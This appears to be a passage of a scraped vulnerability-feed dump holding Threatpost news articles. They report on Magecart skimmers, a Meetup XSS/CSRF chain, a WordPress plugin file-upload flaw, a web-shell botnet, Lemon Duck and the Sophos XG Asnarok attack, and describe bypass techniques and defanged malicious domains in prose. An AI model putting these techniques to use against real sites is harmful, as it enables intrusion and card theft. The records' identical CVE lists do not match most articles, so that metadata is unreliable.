Dr Richard Searle, security architect, Fortanix \u2013 both with the Confidential Computing Consortium. **[Register Now](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>)**._\n", "cvss3": {}, "published": "2020-08-11T14:48:41", "type": "threatpost", "title": "Samsung Quietly Fixes Critical Galaxy Flaws Allowing Spying, Data Wiping", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407"], "modified": "2020-08-11T14:48:41", "id": "THREATPOST:E9212954E31E4447FD755C9E210A641F", "href": "https://threatpost.com/samsung-quietly-fixed-critical-galaxy-flaws-allowing-spying-data-wiping/158241/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-15T22:15:56", "description": "A popular online social service, Meetup, has fixed several critical flaws in its website. If exploited, the flaws could have enabled attackers to hijack any Meetup \u201cgroup,\u201d access the group\u2019s member details and even redirect Meetup payments to an attacker-owned PayPal account.\n\nMeetup is [a service](<https://www.meetup.com/>) with a user base of over 35 million users, used to organize online groups with events for people with similar interests. These events are either for free, or participants can register for a fee using PayPal. While events are typically in person, in light of the ongoing pandemic, many events have moved to virtual settings.\n\n\u201cCheckmarx found several \u2018more-common\u2019 API security issues like lack of resources and rate-limiting and excessive data exposure, as well as some serious cross-site scripting (XSS) and cross-site request forgery (CSRF) vulnerabilities on Meetup.com that could put users at risk,\u201d said researchers with Checkmarx, in research disclosed Monday at [Black Hat USA 2020.](<https://threatpost.com/category/bh/>)\n\n[**[Learn more about the critical [Meetup](<https://threatpost.com/black-hat-usa-2020-critical-meetup-com-flaws-reveal-common-appsec-holes/157950/>) flaws \u2013 and other AppSec trends and threats researchers expect to see at Black Hat USA 2020 this year \u2013 in Threatpost\u2019s [exclusive](<https://threatpost.com/black-hat-usa-2020-critical-meetup-com-flaws-reveal-common-appsec-holes/157950/>) interview with Checkmarx]**](<https://threatpost.com/black-hat-usa-2020-critical-meetup-com-flaws-reveal-common-appsec-holes/157950/>)\n\nResearchers disclosed the issues to Meetup, which has since fixed all the vulnerabilities as of July 15. The flaws were not publicly disclosed by researchers until Monday.\n\n\u201cMeetup takes reports about its data security very seriously, and appreciates Checkmarx\u2019s work in bringing these issues to our attention for investigation and follow up,\u201d according to a Meetup statement.\n\nThe first flaw researchers discovered was stored a cross-site scripting vulnerability on Meetup\u2019s discussion feature, which is activated by default in a Meetup group. The flaw has a CVSS score of 8.7 out of 10, making it high severity. The issue is that Meetup does not properly sanitize the discussion field.\n\nTo exploit the flaw, an attacker simply needs to post a custom script to the Meetup discussion forum. This causes a JavaScript popup to occur as soon as any user visits the Meetup page. When the user clicks the popup, an attacker can then carry out various malicious functions, such as stealing their web browsing data (sessions and cookies).\n\n\u201cNow, instead of have a message or a discussion or a post on the page, we could have put some benign message actually in the background on a script,\u201d Erez Yalon, the director of security research with Checkmarx, told Threatpost. \u201cSo this by itself is very bad already, because it means that in the context of a web browser, we can do whatever we want. Now for every person who visits this discussion board, so it can be stealing information that is part of your web browsing process like cookies and sessions, and things like that. We can deface the website or even do some cryptomining on the web browser.\u201d\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2020/08/03080737/meetup-flaws-300x182.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/08/03080737/meetup-flaws.png>)\n\nCredit: Checkmarx\n\nThe attack was made more severe after researchers also found a CSRF glitch on the Payments Received API endpoint of Meetup. CSRF means that when an attacker is authenticated on the server they also have control over the client.\n\nResearchers were able to chain together the XSS flaw and CSRF glitch, which is the \u201choly grail\u201d for attackers: \u201cWhen you manage to, to chain these two together, and sometimes there are no limits to what can actually happen,\u201d said Yalon.\n\nThat means that if a user with high privileges (like a meetup group \u201cco-organizer\u201d) clicks on the malicious script, attackers could then escalate their privileges to \u201cco-organizer\u201d, hijack a Meetup group page, and completely manage the group. Since the form to change the PayPal recipient\u2019s email address in Settings / Payments received is vulnerable to CSRF, attackers would be also able to change the PayPal email address of every Meetup user to their own PayPal email address, without the victims noticing.\n\nResearchers also found several other less serious issues in Meetup, including that the website had a lack of resources and rate-limiting and an Excessive Data Exposure issue.\n\nThe research was unveiled [this week at Black Hat USA 2020](<https://threatpost.com/black-hat-usa-2020-preview-election-security-covid-disinformation-and-more/157875/>), which kicked off on Saturday and [will focus largely on](<https://threatpost.com/category/bh/>) new security threats, election security, COVID-19 and remote work, and other themes.\n\n_**Complimentary Threatpost Webinar**__: Want to learn more about Confidential Computing and how it can supercharge your cloud security? This webinar \u201c**[Cloud Security Audit: A Confidential Computing Roundtable](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>)**\u201d brings top cloud-security experts from Microsoft and __Fortanix together to explore how **Confidential Computing** is a game changer for securing dynamic cloud data and preventing IP exposure. Join us **[Wednesday Aug. 12 at 2pm ET](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>) **for this** FREE **live webinar with Dr. David Thaler, software architect, Microsoft and Dr Richard Searle, security architect, Fortanix \u2013 both with the Confidential Computing Consortium. **[Register Now](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>)**._\n", "cvss3": {}, "published": "2020-08-03T13:05:11", "type": "threatpost", "title": "Meetup Critical Flaws Allow 'Group' Takeover, Payment Theft", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407"], "modified": "2020-08-03T13:05:11", "id": "THREATPOST:54A5A39D65B32844C215D89668BFB79D", "href": "https://threatpost.com/critical-meetup-website-flaws-takeover-payment-theft/157934/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-15T22:28:51", "description": "The department store Macy\u2019s is warning that web skimmer malware was discovered on Macys.com collecting customers\u2019 payment card information. The attack [has been linked to Magecart](<https://www.bleepingcomputer.com/news/security/macys-customer-payment-info-stolen-in-magecart-data-breach/>), a notorious umbrella group made up of various cybercriminal affiliates that is known for injecting payment card skimmers into ecommerce websites.\n\nAccording to a data breach notice sent to customers, \u201can unauthorized third party added unauthorized computer code\u201d to Macys.com on Oct. 7. The code, which was discovered and removed on Oct. 15, was collecting customers\u2019 first and last names, addresses, phone number and email addresses, payment card information (including number, security code, and expiration dates).\n\n\u201cThere is no reason to believe that this incident could be used by cybercriminals to open new accounts in your name. Nonetheless, you should remain vigilant for incidents of financial fraud and identify theft by regularly reviewing your account statements and immediately reporting any suspicious activity to your card issuer,\u201d said Macy\u2019s in its data [breach notice.](<https://www.documentcloud.org/documents/6552530-MACY-S-NOTICE-OF-DATA-BREACH.html>)\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nThe way web skimmer work is that they are injected by hackers into targeted websites and are designed to steal data entered into online payment forms on e-commerce websites. When a visitor goes to that website, popular skimmers \u2013 such as [Pipka](<https://threatpost.com/pipka-card-skimmer-removes-itself-after-infecting-ecommerce-sites/150341/>) or [Inter](<https://www.fortinet.com/blog/threat-research/inter-skimmer-for-all.html>) \u2013 will then scoop up personal details entered on the site.\n\nThe web skimmer that affected Macys.com target two company controlled web pages \u2013 the checkout page of the website and the My Wallet page. the My Wallet page allows customers to manage and use payment options, promotions, savings passes and can be accessed in their accounts. Macy\u2019s said that customers who checked out with the My Account wallet page on a mobile device or on the Macy\u2019s mobile application were not impacted.\n\n\u201cWe are aware of a data security incident involving a small number of our customers on Macys.com,\u201d a Macy\u2019s spokesperson told Threatpost. \u201cWe have investigated the matter thoroughly, addressed the cause and have implemented additional security measures as a precaution. All impacted customers have been notified, and we are offering consumer protections to these customers at no cost.\u201d\n\nHowever, the attack surface could be huge. Macys.com has topped the list of retail apparel websites in terms of traffic traffic in 2019. In an April analysis of U.S. retail apparel site rankings, [SimilarWeb cited Macys.com](<https://wwd.com/business-news/retail/similarweb-retail-list-1203118893/>) as number one with more than 55.7 million monthly visits.\n\nAn anonymous researcher [reportedly](<https://www.bleepingcomputer.com/news/security/macys-customer-payment-info-stolen-in-magecart-data-breach/>) linked the attack back to the Magecart group, an infamous [loose affiliation of attack groups](<https://threatpost.com/podcast-breaking-down-the-magecart-threat-part-two/139534/>) responsible for payment-card attacks on organizations from [Forbes](<https://threatpost.com/magecart-card-skimmer-forbes/144811/>) to [First Aid Beauty](<https://threatpost.com/magecart-attack-skin-care-site/149580/>). The researcher told Bleeping Computer that attackers altered the affected Macy\u2019s web pages to include obfuscated Magecart script.\n\nMacy\u2019s consumers who are impacted should monitor their credit card statements for fraud-related activity. The company is also offering victims a free year of the Experian IdentityWorks credit monitoring service.\n\n\u201cWe quickly contacted federal law enforcement and brought in a leading class forensics firm to assist our investigation,\u201d said Macy\u2019s. \u201cWe have reported the relevant payment card numbers to the card brands (i.e. Visa, Mastercard, American Express and Discover). In addition, we have taken steps that we believe are designed to prevent this type of unauthorized code from being added to Macys.com.\u201d\n\nHowever, security pundits argue that retailers like Macy\u2019s need to be better in ramping up extra security measures against web skimmer attacks proactively \u2013 particularly as companies like [Ticketmaster](<https://threatpost.com/ticketmaster-chat-feature-leads-to-credit-card-breach/133191/>), [Forbes](<https://threatpost.com/magecart-card-skimmer-forbes/144811/>), [British Airways](<https://threatpost.com/magecart-group-pinned-in-recent-british-airways-breach/137338/>), [Newegg](<https://threatpost.com/magecart-strikes-again-siphoning-payment-info-from-newegg/137576/>) continue making headlines for Magecart-related breaches.\n\n\u201cMageCart is not a mystery, by now, one might think that \u2018additional security measures\u2019 would be added to all websites as a matter of course, before hackers drop in some malicious code,\u201d said Colin Bastable, CEO of Lucy Security, in an email. \u201cThat is the definition of a precaution. Macy\u2019s has implemented what should be described as a security postcaution.\u201d\n\nSecurity experts for their part urge the importance of established policies for verifying that internet-facing infrastructure is securely configured and patched \u2013 particularly for retailers as the holidays loom.\n\n\u201cHaving strong and robust third-party policies to restrict external access to sensitive information and only allow verified code or scripts to be executed will greatly reduce exposure,\u201d James McQuiggan, security awareness advocate at KnowBe4, said in an email.\n\n\u201cAnd if a breach does occur, the attacker\u2019s opportunity to get data is severely impeded,\u201d he said. \u201cMacy\u2019s customers should pay extra attention to emails sent to them regarding the Macy\u2019s breach, as criminals will leverage the attack to get them to click on phishing links for false sites or open attachments that contain malicious software.\u201d\n\n_**Is MFA enough to protect modern enterprises in the peak era of data breaches? How can you truly secure consumer accounts? Prevent account takeover? Find out: Catch our free, on-demand **_[_**Threatpost webinar**_](<https://attendee.gotowebinar.com/register/3127445778613605890?source=post>)_**, \u201cTrends in Fortune 1000 Breach Exposure\u201d to hear advice from breach expert Chip Witt of SpyCloud. **_[_**Click here to register**_](<https://attendee.gotowebinar.com/register/3127445778613605890?source=post>)_**.**_\n\n**Share this article:**\n\n * [Hacks](<https://threatpost.com/category/hacks/>)\n * [Web Security](<https://threatpost.com/category/web-security/>)\n", "cvss3": {}, "published": "2019-11-19T14:56:38", "type": "threatpost", "title": "Macy's Suffers Data Breach by Magecart Cybercriminals", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407"], "modified": "2019-11-19T14:56:38", "id": "THREATPOST:76BC8D329A74BD12883D2CEFFA552A54", "href": "https://threatpost.com/macys-data-breach-linked-to-magecart/150393/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-15T22:17:40", "description": "The hackers-for-hire group DarkCrewFriends has resurfaced and is targeting content management systems to build a botnet. The botnet can be marshalled into service to carry out a variety of criminal activities, including distributed denial-of-service (DDoS) attacks, command execution, information exfiltration or sabotage of an infected system.\n\nResearchers said they observed DarkCrewFriends exploiting an unrestricted file upload vulnerability to compromise PHP servers that run websites. After compromise, a malicious PHP web shell is installed as a backdoor, which in turn sets up a connection to a command-and-control (C2) server using an Internet Relay Chat (IRC) channel, according to Check Point researchers Liron Yosefian and Ori Hamama.\n\n\u201cMany applications allow users to upload certain files to their servers, such as images or documents,\u201d explained the researchers on Thursday in a [blog post](<https://research.checkpoint.com/2020/the-return-of-the-bot-shop-crew/>). \u201cThese files can put the system at risk if they are not properly handled. A remote attacker can send a specially crafted request to a vulnerable server and upload an unrestricted file while bypassing the server\u2019s file extension check. This can eventually result in arbitrary code execution on the affected system.\u201d\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nThe exploit for the particular vulnerability being targeted is a zero-day that was created and published by DarkCrewFriends, according to Check Point. Threatpost has reached out for more information on the bug and other details of the campaign.\n\nThe web shell on the victim\u2019s server defines either a GET parameter called osc or a GET parameter called anon, and executes a decompressed base64 string, according to the analysis. When researchers decoded the string, they discovered commands to download and execute two .AFF files. .AFF is a spellcheck dictionary file type used by Kingsoft WPS Office and Apache OpenOffice, which are free Office suite applications.\n\n![](https://media.threatpost.com/wp-content/uploads/sites/103/2020/06/26162458/darkcrew-e1593203204625.png)\n\nThe infection chain. Source: Check Point\n\n\u201cWhen we downloaded both .AFF files, we saw that those files were actually PHP and Perl files,\u201d the researchers explained. \u201cThe hidden file extension is used to avoid detection and confuse the issue.\u201d\n\nThese files are both variants of the main malware module, which has a wide range of capabilities, including the ability to execute shell commands; gather information on running services on the host computer; download or upload FTP files; scan open ports; and conduct multiple types of DDoS attacks (including UDP and TCP DDoS, HTTP flood, IRC CTCP flood and more).\n\n\u201cThe attackers create a network of botnets by using the IRC protocol to infect connected servers,\u201d the analysts said. \u201cThis provides them with a more powerful attack tool and is also used in the traffic services they offer for sale.\u201d\n\nNone of the malware binaries had been uploaded to Virus Total, they added.\n\n\u201cFollowing the various scenarios and attack methods\u2026we conclude that the impact on the victim\u2019s infrastructure can be severe and have significant repercussions,\u201d Yosefian and Hamama concluded.\n\n**_BEC and enterprise email fraud is surging, but DMARC can help \u2013 if it\u2019s done right. On July 15 at 2 p.m. ET, join Valimail Global Technical Director Steve Whittle and Threatpost for a [FREE webinar](<https://attendee.gotowebinar.com/register/441045308082589963?source=art>), \u201cDMARC: 7 Common Business Email Mistakes.\u201d This technical \u201cbest practices\u201d session will cover constructing, configuring, and managing email authentication protocols to ensure your organization is protected. [Click here to register](<https://attendee.gotowebinar.com/register/441045308082589963?source=art>) for this Threatpost webinar, sponsored by Valimail._**\n", "cvss3": {}, "published": "2020-06-26T20:53:18", "type": "threatpost", "title": "DarkCrewFriends Returns with Botnet Strategy", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407"], "modified": "2020-06-26T20:53:18", "id": "THREATPOST:400B0D790B8223A5A004460CD9A927B4", "href": "https://threatpost.com/darkcrewfriends-returns-botnet/156963/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-15T22:25:07", "description": "Printers, smart TVs and automated guided vehicles that depend on Windows 7 have become the latest juicy targets for cybercriminals leveraging a \u201cself-spreading\u201d variant of the malware Lemon Duck. In a report released Wednesday by TrapX Security, researchers warn manufacturers dependent on IoT devices are targets in a new global campaign leveraging the malware variant.\n\nCriminals behind the wave of attacks are singling out IoT gear in hopes of enlisting them into a \u201cslave army\u201d of crypto-mining devices focused on generating Monero coins via the XMRig mining tool. Researchers warn that the processor-intensive mining efforts are taking their toll on gear and triggering equipment malfunctions along with exposing devices to safety issues, disruption of supply chains and data loss.\n\nThe campaign is similar to a [Lemon Duck campaign spotted in October](<https://news.sophos.com/en-us/2019/10/01/lemon_duck-powershell-malware-cryptojacks-enterprise-networks>), however in this campaign the malware is being used to intentionally target and cause harm to large manufacturers, researchers told Threatpost. \n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nThe [26-page report by TrapX Research Labs](<https://finance.yahoo.com/news/trapx-security-identifies-malware-campaign-130000671.html>) cites a number of 2019 attacks against three large global manufacturers. The common thread is the use of Lemon Duck malware and the presence of Windows 7 in embedded or associated systems. Windows 7, which TrapX estimates is still used by 200 million devices, is no longer receiving security updates by Microsoft as of January 14, 2020.\n\nIn each of the case studies outlined by researchers, weaknesses in Windows 7 were used by adversaries as the point of entry. Exploited were unpatched vulnerabilities tied to Microsoft\u2019s implementation of the Server Message Block (SMB) protocol in the operating system by [the EternalBlue exploits](<https://threatpost.com/leaked-nsa-exploit-spreading-ransomware-worldwide/125654/>). In addition, researchers said attackers launched SQL injection attacks against vulnerabilities in [the MySQL database application](<https://threatpost.com/critical-mysql-vulnerabilities-can-lead-to-server-compromise/121738/>).\n\n\u201cThe malware sample intercepted and analyzed by TrapX is part of the Lemon Duck sample family running on a double-click action or through persistence mechanisms,\u201d wrote researchers. \u201cFirst, the malware scanned the network for potential targets, including those with SMB ([port] 445) or MSSQL ([port] 1433) services open. Once finding a potential target, the malware ran multiple threads with multiple functionalities.\u201d\n\nOne of those functions include brute force password attacks to crack open services to further download and spread malware via SMB or MSSQL. Another included the \u201crunning of invoke-mimikatz via import-module to obtain NTLM hashes and gain access for the further download and spread of malware via SMB.\u201d\n\nResearchers said the Lemon Duck malware persisted on infected systems via scheduled tasks, which included PowerShell Scripts that invoked additional Lemon Duck PowerShell scripts, which then installed the Monero miners (XMRig).\n\nIt\u2019s for good reason that attackers have focused on Windows 7 machines. Researchers said that attacks leveled against Windows 10 machines have consistently been thwarted by basic system defenses.\n\n\u201cThe malware would be quarantined on a Windows 10 system with Windows Defender Virus & Threat protection activated, even if the malware successfully copied itself to the system,\u201d researchers said. \u201cIn contrast, the malware stayed and ran on an infected Windows 7 system even with Windows Defender activated.\u201d\n\nMitigation spelled out by TrapX involves enforcing a strong password policy across all networks and subsystems, keeping systems patched and exercising hyper vigilance when it comes to managing network shares and disabling anonymous logins. Researchers also highly recommend ending reliance on Windows 7.\n", "cvss3": {}, "published": "2020-02-05T18:50:48", "type": "threatpost", "title": "New Lemon Duck Malware Campaign Targets IoT, Large Manufacturers", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407"], "modified": "2020-02-05T18:50:48", "id": "THREATPOST:FC124FCB1BDB55D5A63163F8F4720021", "href": "https://threatpost.com/lemon-duck-malware-targets-iot/152596/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-15T22:15:15", "description": "A plugin that is designed to add quizzes and surveys to WordPress websites has patched two critical vulnerabilities. The flaws can be exploited by remote, unauthenticated attackers to launch varying attacks \u2013 including fully taking over vulnerable websites.\n\nThe plugin, [Quiz and Survey Master](<https://wordpress.org/plugins/quiz-master-next/>), is actively installed on over 30,000 websites. The two critical flaws discovered by researchers include an arbitrary file-upload vulnerability, ranking 10 out of 10 on the CVSS scale; as well as an unauthenticated arbitrary file deletion error, ranking 9.9 out of 10. A patch is available for both issues in version 7.0.1 of the plugin, said the researchers with Wordfence who discovered the flaws, [in a Thursday post](<https://www.wordfence.com/blog/2020/08/critical-vulnerabilities-patched-in-quiz-and-survey-master-plugin/>).\n\n\u201cThe unauthenticated arbitrary file-deletion vulnerability that was present in the plugin is pretty significant,\u201d Chloe Chamberland, threat analyst with Wordfence, told Threatpost. \u201cAny of the 30,000 sites running the plugin are subject to any file being deleted (granted they are running a vulnerable version), which includes the wp-config.php file, by unauthenticated site users.\u201d\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nThe two vulnerabilities stemmed from a feature in the plugin that enables site owners to implement file uploads as a response type for a quiz or survey. For instance, if a website has a job-application questionnaire, the feature gives users the option to upload a PDF resume at the end.\n\nResearchers found that this feature was insecurely implemented: \u201cThe check to verify file type only looked at the \u2018Content-Type\u2019 field during an upload, which could be easily spoofed,\u201d said researchers. \u201cThis meant that if a quiz contained a file upload which was configured to only accept .txt files, an executable PHP file could be uploaded by setting the \u2018Content-Type\u2019 field to \u2018text/plain\u2019 to bypass the plugin\u2019s weak checks.\u201d\n\nIn an example of a real-world attack, unauthenticated users could leverage this flaw by uploading malicious, arbitrary files, including PHP files. That would enable them to achieve remote code-execution, and ultimately, \u201cthis could lead to complete site takeover and hosting account-compromise, amongst many other scenarios,\u201d said researchers.\n\nMeanwhile, the arbitrary file-deletion error exists within the plugin\u2019s functionality for removing any files that were uploaded during the quiz. Due to AJAX actions not being authenticated in the file-deletion functionality, an unauthenticated user could delete important files \u2013 like a website\u2019s wp-config.php file. This is a core WordPress file that contains information about the database \u2013 including the name, username and password \u2013 that allows WordPress to communicate with the database to store and retrieve data.\n\n\u201cIf the wp-config.php file is deleted, WordPress assumes there is a fresh installation at which point an attacker can establish a new database connection, gain access to the site and upload a webshell to ultimately achieve persistence or infect other sites in the same hosting account,\u201d Chamberland told Threatpost.\n\nResearchers discovered the flaws on July 17, and after various unsuccessful attempts to contact the QSM plugin team, finally reached out to the plugin\u2019s parent company, ExpressTech on Aug. 1. A patch was released on Aug. 5 in version 7.0.1. The CVE assignments for both flaws are still pending, researchers said.\n\n\u201cWe highly recommend updating to version 7.0.1 immediately to keep your site protected against any attacks attempting to exploit this vulnerability,\u201d said researchers.\n\nThreatpost has reached out to ExpressTech for further commentary.\n\n**_It\u2019s the age of remote working, and businesses are facing new and bigger cyber-risks \u2013 whether it\u2019s collaboration platforms in the crosshairs, evolving insider threats or issues with locking down a much broader footprint. Find out how to address these new cybersecurity realities with our complimentary _[_Threatpost eBook_](<https://threatpost.com/ebooks/2020-in-security-four-stories-from-the-new-threat-landscape/?utm_source=ART&utm_medium=articles&utm_campaign=fp_ebook>)_, 2020 in Security: Four Stories from the New Threat Landscape__, presented in conjunction with Forcepoint. We redefine \u201csecure\u201d in a work-from-home world and offer compelling real-world best practices. _[_Click here to download our eBook now_](<https://threatpost.com/ebooks/2020-in-security-four-stories-from-the-new-threat-landscape/?utm_source=ART&utm_medium=articles&utm_campaign=fp_ebook>)_._**\n", "cvss3": {}, "published": "2020-08-14T18:26:07", "type": "threatpost", "title": "Critical Flaws in WordPress Quiz Plugin Allow Site Takeover", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407"], "modified": "2020-08-14T18:26:07", "id": "THREATPOST:CFF3DDE464C215A7BDD3772ADFCDA4EE", "href": "https://threatpost.com/critical-flaws-wordpress-quiz-plugin-site-takeover/158379/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-15T22:07:55", "description": "Boom! Mobile\u2019s U.S. website recently fell victim to an e-commerce attack, putting online shoppers in danger of payment-card theft, researchers said.\n\nBoom! is a wireless provider that resells mobile phone plans from Verizon, AT&T and T-Mobile USA, under its own brand and with its own perks (the company boasts \u201cgreat customer service\u201d and no contracts). Up until yesterday, the provider\u2019s main website was hosting malicious code, which lurked on the online checkout page and harvested online shoppers\u2019 details.\n\n[![Threatpost Webinar Promo Retail Security](https://media.threatpost.com/wp-content/uploads/sites/103/2020/10/07103433/webinar-promo-retail-security-1.jpg)](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)\n\nClick to Register!\n\nThe approach is reminiscent of core Magecart group attacks, but in this case, the attack was the work of the Fullz House group, according to Malwarebytes, which is a Magecart splinter group that\u2019s mainly known for its phishing prowess.\n\n\u201cMost victims of Magecart-based attacks tend to be typical online shops selling various goods. However, every now and again we come across different types of businesses which were affected simply because they happened to be vulnerable,\u201d Malwarebytes researchers said in a [Monday post](<https://blog.malwarebytes.com/malwarebytes-news/2020/10/mobile-network-operator-falls-into-the-hands-of-fullz-house-criminal-group/>).\n\nAccording to [a review](<https://sitecheck.sucuri.net/results/boom.us>) from Sucuri, boom[.]us was running PHP version 5.6.40, which reached end-of-life in January 2019. As of this writing, the website still has outdated status.\n\n\u201cThis may have been a point of entry but any other vulnerable plugin could also have been abused by attackers to inject malicious code into the website,\u201d researchers pointed out.\n\n## **The Attack**\n\nThe cybercriminals managed to inject malicious code into Boom!\u2019s web platform, researchers explained.\n\n\u201cOur crawlers recently detected that their website, boom[.]us, had been injected with a one-liner that contains a Base64 encoded URL loading an external JavaScript library,\u201d researchers wrote. \u201cOnce decoded, the URL loads a fake Google Analytics script from paypal-debit[.]com/cdn/ga.js. We quickly recognize this code as a credit-card skimmer that checks for input fields and then exfiltrates the data to the criminals.\u201d\n\nThe skimmer is highly detectable, because it exfiltrates data every time it detects a change in the fields displayed on the page \u2013 i.e., whenever someone types something in. As a result, it lacks stealth: \u201cFrom a network traffic point of view, you can see each leak as a single GET request where the data is Base64 encoded,\u201d explained the researchers.\n\nIn this case, both the exfiltration domain (hosted on Alibaba) and the injected code proved to be familiar; they have turned up in previous Fullz House incidents, including one where the threat actors were using decoy payment portals set up like phishing pages.\n\n## **Fullz House Back on the Schedule**\n\nThe group [has been analyzed](<https://threatpost.com/magecart-variant-tactics-mitm-phishing/150628/>) in the past, and gets its name from the use of carding sites to resell \u201cfullz,\u201d an underground slang term meaning a full set of an individual\u2019s personally identifying information plus financial data.\n\nFullz House was discovered ramping up activity starting in August-September of 2019. It uses a unique codebase and different tactics from the main Magecart variants to carry out its attacks, according to researchers.\n\n[Magecart](<https://threatpost.com/macys-data-breach-linked-to-magecart/150393/>) is an umbrella term encompassing several different threat groups who all use the same modus operandi: They compromise websites (mainly built on the Magento e-commerce platform) in order to inject card-skimming scripts on checkout pages, stealing unsuspecting customers\u2019 payment card details and other information entered into the fields on the page.\n\nAccording to a previous analysis from RiskIQ, Fullz House is known for innovating when it comes to the Magecart blueprint by adding phishing to the mix. It uses generic phishing to gather and sell personal information, for which they have a dedicated store called \u201cBlueMagicStore.\u201d In the web-skimming arena, the group is harvesting financial data during e-commerce checkouts, and selling credit-card information on its carding store, which is named \u201cCardHouse.\u201d\n\nBoom! is certainly not the group\u2019s only target: \u201cIn late September, we noticed a number of new domains that were registered and following the same pattern we had seen before with this group,\u201d researchers wrote. \u201cHowever, this group was quite active in the summer and continues on a well-established pattern seen a year ago.\u201d\n\n[**On October 14 at 2 PM ET**](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)** Get the latest information on the rising threats to retail e-commerce security and how to stop them. **[**Register today**](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)** for this FREE Threatpost webinar, \u201c**[**Retail Security: Magecart and the Rise of e-Commerce Threats.**](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)**\u201d Magecart and other threat actors are riding the rising wave of online retail usage and racking up big numbers of consumer victims. Find out how websites can avoid becoming the next compromise as we go into the holiday season. Join us Wednesday, Oct. 14, 2-3 PM ET for this **[**LIVE **](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)**webinar.**\n", "cvss3": {}, "published": "2020-10-06T17:39:35", "type": "threatpost", "title": "Boom! Mobile Customer Data Lost to Fullz House/Magecart Attack", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407"], "modified": "2020-10-06T17:39:35", "id": "THREATPOST:0AF6471C8950B312AA2DB603A5C2F82F", "href": "https://threatpost.com/boom-mobile-customer-data-fullz-house-magecart/159887/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-15T22:20:50", "description": "Attackers have been targeting the Sophos XG Firewall (both physical and virtual versions) using a zero-day exploit, according to the security firm \u2013 with the ultimate goal of dropping the Asnarok malware on vulnerable appliances.\n\nSophos said [in a posting](<https://community.sophos.com/kb/en-us/135412>) updated on Monday that the bug in question is a pre-authentication SQL injection vulnerability (a CVE is forthcoming) that leads to remote code execution (RCE). It affects systems configured with either the administration interface (called the \u201cHTTPS admin service\u201d) or the user portal exposed to the WAN zone.\n\n\u201cIn addition, firewalls manually configured to expose a firewall service (e.g. SSL VPN) to the WAN zone that shares the same port as the admin or user portal were also affected,\u201d the firm explained. \u201cFor reference, the default configuration of XG Firewall is that all services operate on unique ports.\u201d\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nIf hackers were able to access an exposed XG device, the Asnarok trojan was then installed, which is designed to exfiltrate data housed on the XG firewall itself. Sophos said that the sample is an ELF binary executable malware that has been specifically compiled for a firewall operating system.\n\n\u201cThe data exfiltrated for any impacted firewall includes all local usernames and hashed passwords of any local user accounts,\u201d Sophos noted. \u201cFor example, this includes local device admins, user portal accounts and accounts used for remote access. Passwords associated with external authentication systems such as Active Directory (AD) or LDAP were not compromised.\u201d\n\nSophos issued a hotfix this week for the issue.\n\n## **Initial Compromise: A Chain of Linux Scripts**\n\nThe attack consists of a chain of Linux shell scripts, the firm said, hosted on an innocuous-sounding yet malicious domain, sophosfirewallupdate[.]com.\n\n\u201cThere was significant orchestration involved in the execution of the attack,\u201d according to Sophos.\n\nThe kill chain begins with the SQL injection exploit, which allows the attackers to insert a one-line command into a database table on a targeted device, according to a Sunday [technical analysis](<https://news.sophos.com/en-us/2020/04/26/asnarok/>) from Sophos. That injected command triggers a download of the first Linux shell script, named Install.sh, from the remote server.\n\nThis shell is written to the appliance as \u201cx.sh\u201d and is also placed in the /tmp directory. This turns out to be an installer script that goes on to drop two completely new shell scripts, and it also modifies an existing operating-system script in a bid for persistence.\n\nThe first of the new shell scripts is named .lp.sh installed by x.sh connects to the sophosfirewallupdate site, to download a Linux ELF executable file, named lp. Ip is also written to /tmp with a filename of b.\n\n![sophos firewall attack asnarok](https://media.threatpost.com/wp-content/uploads/sites/103/2020/04/27114728/Sophos-attack-firewall-stages-268x300.jpg)\n\nThe firewall attack kill chain. Click to 